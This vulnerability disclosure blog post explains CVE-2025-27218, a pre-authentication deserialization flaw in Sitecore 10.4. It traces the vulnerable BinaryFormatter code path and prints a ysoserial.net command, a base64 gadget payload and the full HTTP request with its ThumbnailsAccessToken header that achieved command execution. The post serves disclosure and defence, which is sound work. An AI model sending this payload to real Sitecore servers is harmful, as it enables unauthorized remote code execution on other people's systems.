

Sitecore CVE-2025-27218: Unsafe Deserialization Vulnerability

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March 6, 2025

Security research

[Dylan Pindur](#)

Sitecore: Unsafe Deserialisation Again! (CVE-2025-27218)

Continuing our [previous research](#) on Sitecore at the end of 2024, we were also able to find a pre-auth remote code execution vulnerability. For those who are unfamiliar, Sitecore is a CMS written in .NET that is quite popular among enterprise customers. This time, we were looking at version 10.4, which was the latest available at the time.

The vulnerability we found [CVE-2025-27218](#) is another case of unsafe deserialization and is exploitable in the default configuration without authentication. The advisory from Sitecore with affected version and recommended patches are available [here](#).

As always, customers of our [Attack Surface Management](#) platform were the first to know when this vulnerability affected them. We continue to perform original security research to inform our customers about zero-day vulnerabilities in their attack surface.

Searching for Common Mistakes

After installing, configuring and decompiling the application, we started with one of the usual suspects, `BinaryFormatter`. It's rarely used securely, and we've seen it frequently used in the Sitecore codebase. We searched for both `BinaryFormatter` and `Convert.Base64ToObject`, a custom wrapper around `BinaryFormatter` that is often used in Sitecore. There are a few dozen hits, and a few were recognizable from our previous research into Sitecore. Below is the frequently misused `Convert.Base64ToObject` function.

```
public static object Base64ToObject(string data)
{
    Error.AssertString(data, "data", allowEmpty: true);
    if (data.Length > 0)
    {
        try
        {
            byte[] buffer = System.Convert.FromBase64String(data);
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream serializationStream = new MemoryStream(buffer);
            return binaryFormatter.Deserialize(serializationStream);
        }
        catch (Exception exception)
        {
            Log.Error("Error converting data to base64.", exception, typeof(Convert));
        }
    }
    return null;
}
```

We investigated each of the calls to `BinaryFormatter` and `Convert.Base64ToObject` to see if we could access them without authentication and if we could control the input. We noticed a potential red flag in `MachineKeyTokenService.IsTokenValid`.

```
public bool IsTokenValid(string token)
{
    try
    {
        byte[] protectedData = Convert.Base64ToObject(token) as byte[];
        byte[] array = MachineKey.Unprotect(protectedData);
        if (array == null || array.Length == 0)
        {
            return false;
        }
        Guid guid = new Guid(array);
        return guid == _token;
    }
    catch
    {
        return false;
    }
}
```

Apart from the fact that using `BinaryFormatter` to serialize an array of bytes seems a little unnecessary, there's also the issue that the payload is decrypted after it is deserialised not before. This subtle misordering of operations implies that full care may not have been given to this particular piece of functionality. It also means that, if no other validations are applied, we can pass a malicious deserialisation payload straight to `BinaryFormatter`.

How to Reach IsTokenValid

Tracing `IsTokenValid` backwards, we saw it was called in the `AuthenticateThumbnailsRequest` request processor. These classes typically extend from `HttpRequestProcessor` and form part of Sitecore's HTTP request processing pipeline. They are similar to a Java `FilterChain` or .NET middleware. The configuration of the pipeline is tricky to understand as the configuration is spread across multiple files and it is not immediately obvious in what order the processors are applied. For example, the configuration for `AuthenticateThumbnailsRequest` is only present in `Sitecore.ThumbnailGenerator.config` and all we know is it runs before something called `SiteResolver`.

```
<pipelines>
  <httpRequestBegin>
    <processor
      patch:before="processor[@type='Sitecore.Pipelines.HttpRequest.SiteResolver,
      Sitecore.Kernel']" type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest,
      Sitecore.Kernel" resolve="true"/>
    </httpRequestBegin>
  </pipelines>
```

We could have gone through all the `.config` files and sorted out what ran when, but a much easier way was just to attach a debugger with [dnSpy](#), start setting breakpoints and try to inspect the processor list as the pipeline was executed. Fortunately for us, setting a breakpoint at the start of `AuthenticateThumbnailsRequest.Process` was enough and we hit it with an unauthenticated request to the webroot.

Remote Code Execution

Inside `AuthenticateThumbnailsRequest.Process` we saw that the application reads a header, `ThumbnailsAccessToken`, and passes its value directly to `IsTokenValid` which base 64 decodes the header and then hands it to `BinaryFormatter`.

```

public override void Process(HttpRequestArgs args)
{
    string text;
    if (args == null)
    {
        text = null;
    }
    else
    {
        HttpContextBase httpContext = args.HttpContext;
        if (httpContext == null)
        {
            text = null;
        }
        else
        {
            HttpRequestBase request = httpContext.Request;
            text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] :
null);
        }
    }
    string text2 = text;
    if (!this._tokenService.IsTokenValid(text2))
    {
        return;
    }
    ...
}

```

This was an almost textbook case of misusing `BinaryFormatter` and all we had to do was generate a payload with ysoserial.net as follows.

```
C:\ysoserial\Release>ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami >
\inetpub\wwwroot\Sitecore\dev.local\AppData\x.txt"
AAEAAAD/////AQAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAA
AAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAlApBQUVBQUFELy8vLy9BUUFBUFBQU
FBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVH0TNaWEpUYUdWc2JDNUZaR2wwYjNjc0lGWmxjbk5wYjI0OU15NHdMakF
1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZZTENCUWRXSnnhV05MWlhsVWIydGxiazB6TVdKbU16ZzF0bUZRtXpZMFpU
TTFCUUVBQUFCQ1RXBgpbjBl6YjJaMEsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0Z
EVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFxVnpBUUFBUQE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWU
RBQUFBN3dV0FAzaHRiQ0IyWlhKemFX0XVQU0l4TGpBaUlHVnVZMjlrYVc1b1BTSjFkR1l0TVRZaVB6NE5DanHQWw1
wbFkzUkVZWfJoVUUhKdmRtbGtaWElnVfWdWGMGFH0WtUbUZ0WlQwaVUzUmhjb1FpSUVse1NXNBKR2xoYkV4d1lXUkZi
bUZpYkdWa1BTSkdZV3h6WlNJZ2VHMxN1bk05SW1oMGRiQTZMeTl6WTJobGJXRnpMbTFwWTKdmMyOW1kQzVqYjIwd
mQybHVabmd2TWpBd05p0TRZVzFzTDNCeVpYTMxib1JoZEsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0
JowTJVNlUzbHpkR1Z0TgtScFlXZHVIM04wYVd0ek8yRnpjMlZ0Ww14NVBWTjVjM1JsYlNJZ2VHMxN1bk02ZUQwaWF
IUjBjRG92TDN0amFHVnRZWE11YltsamNt0XpimlowTG10dmJT0TNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMetJQ0E4
VDJKcVpXTjBSR0YwVWZCewIzWnBaR1Z5TGs5aWftVmpkRwx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYT
npQZzBLSUNBZ0lDQWdQSE5rT2xCeWiYtmxjM011VTNSaGnuUkpbVp2UGcwS0lDQWdJQ0FnSUNB0GMyUTZVSEp2WT
JWemMxTjBZWEowU1c1bWJ5QkKjbWQxYldWdWRITTLJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDN
kM0p2YjNSY1UybDBaV052Y21Well5NWtaWFl1Ykc5a1lXeGNRWEJ3WDBSaGRHRmNlQzUwZUhRaUlGTjBZVzVrWVhK
a1JYSnliM0pGYm10dlpHbHVaejBpZTNnNlRuVnNiSDBpSUZOMFlXNwtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzljB
nQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTNpkMj15WkQwaWUzZzZUblZzYkgwaUlFunZiV0ZwYmowaU
lpQk1iMkZrVlh0bGNsQnliMlpwYkdV0UlrWmhiSE5sSWlCR2FXeGxUbUZ0WlQwaVkyMwtJaUF2UGcwS0lDQWdJQ0F
nUEM5elpEcFFjbTlqWlh0ekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNB0EwzTmtPbEJ5YjJ0bGMzTStEUW9nSUR3dlQy
SnFaV04wUkdGMFlWQnliMlpwWkdWeUxrOWlhbVZqZEVsdWmzUmhibU5sUGcwS1BD0VBZbXBsWTNSRVlYUmhVSEp2Z
G1sa1pYSStDdz09Cw==
```

We then prepared our request by copying our payload into the `ThumbnailAccessToken` and sent it.

GET / HTTP/1.1

Host: sitecoresc.dev.local

ThumbnailsAccessToken:

AAEAAAD////////AQAAAAAAAAEAQAACLTExN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudG10eQEAA
AAkU3LzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAlApBQUVBQUFELy8vLy9BUUFBUFBQU
FBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVh0TNaWEPUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF
1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZZTENCUWRXSnnhV05MWlhsVWIydGxiazB6TVdKbU16ZzF0bUZrTXpZMFpU
TTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZehScGJtY3VWR1Y0Z
EVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFVnpBUUFBUQE5R2IzSmxaM0p2ZFclalFuSjFjMmdCQWdBQUFBWU
RBQUFBN3dV0FAzaHRiQ0IyWlhKemFX0XVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanHQWw1
wbFkzUkVZWfJoVUhKdmRtbGtaWElnVfDWMGFH0WtUbUz0WlQwaVUzUmhjbLFPsUVseINXNBKR2xoYkV4d1lXUKzi
bUZpYkdWa1BTSkdZV3h6WlNJZ2VHMxN1bk05SW1oMGRiQTZMeTl6WTJobGJXRnpMbTFwWTKdmMyOW1kQzVqYjIwd
mQybHVabmd2TWpBd05p0TRZVzFzTDNCeVpYTMxibLJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0
JowTJVNlUzbHpkR1Z0TgtScFlXZHVIM04wYVd0ek8yRnpjMlZ0Ww14NVBWTjVjM1JsYlNJZ2VHMxN1bk02ZUQwaWF
IUjBjRG92TDN0amFHVnRZWE11YldsamNt0XpiMlowTG10dmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4
VDJKcVpXtjBSR0YwVWZCeWiZwnBaR1Z5TGs5aWftVmpkRwx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alPyT
npQZzBLSUNBZ0lDQWdQSE5rT2xCeWiYTMxjM011VTNSaGnuUkpiBvP2UGcwS0lDQWdJQ0FnSUNB0GMyUTZVSEp2WT
JWemMxTjBZWEowU1c1bWJ5QkKjbWQxYldWdWRITTLJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDN
kM0p2YjNSY1UybDBaV052Y21Well5NWtaWFl1Ykc5a1lXeGNRWEJ3WDBSaGRHRmNlQzUwZUhRaUlGTjBZVzVrVWVhK
a1JYSnliM0pGYm10dlpHbHVaejBpZTNnNlRuVnNiSDBpSUZ0MFLXNwtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzljB
nQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTnpkMjlsWkQwaWUzZzZUblZzYkgwaUlFUnZiV0ZwYmowaU
lpQk1iMkZrVlh0bGNsQnliMlpwYkdVOUlRwMhiSE5sSWlCR2FXeGxUbUz0WlQwaVkyMwtJaUF2UGcwS0lDQWdJQ0F
nUEM5elpEcFFjbTlqWlh0ekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNB0EwzTmtPbEJ5YjJ0bGMzTSstEUW9nSUR3dlQy
SnFaV04wUkdGMFlWQnliMlpwWkdWeUxr0WlhbVZqZEVSdWMzUmhibU5sUGcwS1BD0VBZbXBsWTNSRVLYUmhVSEp2Z
G1sa1pYSSStDdz09Cw==

We received a 500 server error response from Sitecore and when we checked the filesystem we found our payload had executed perfectly.

```
C:\>type \inetpub\wwwroot\Sitecoresc.dev.local\AppData\x.txt  
iis apppool\sitecoresc.dev.local
```

Conclusion

This is another case of `BinaryFormatter` causing more trouble than it's worth. However, this one was a little more disappointing since it was serialising an array of bytes to another array of bytes. A possible explanation is that the developer assumed `Convert.Base64ToObject` was only used for Base64 decoding, similar to `System.Convert.FromBase64String`. This would also explain why the payload is decrypted afterwards rather than before.

This also highlights the fact that security is a continuous process. This bug was a relatively recent addition and therefore was not present in any of our previous audits. There's almost

always in coming back and looking again, especially if there have been changes.

About Assetnote

Searchlight Cyber's ASM solution, [Assetnote](#), provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our attack surface management page to learn more about our platform and [the research we do](#).

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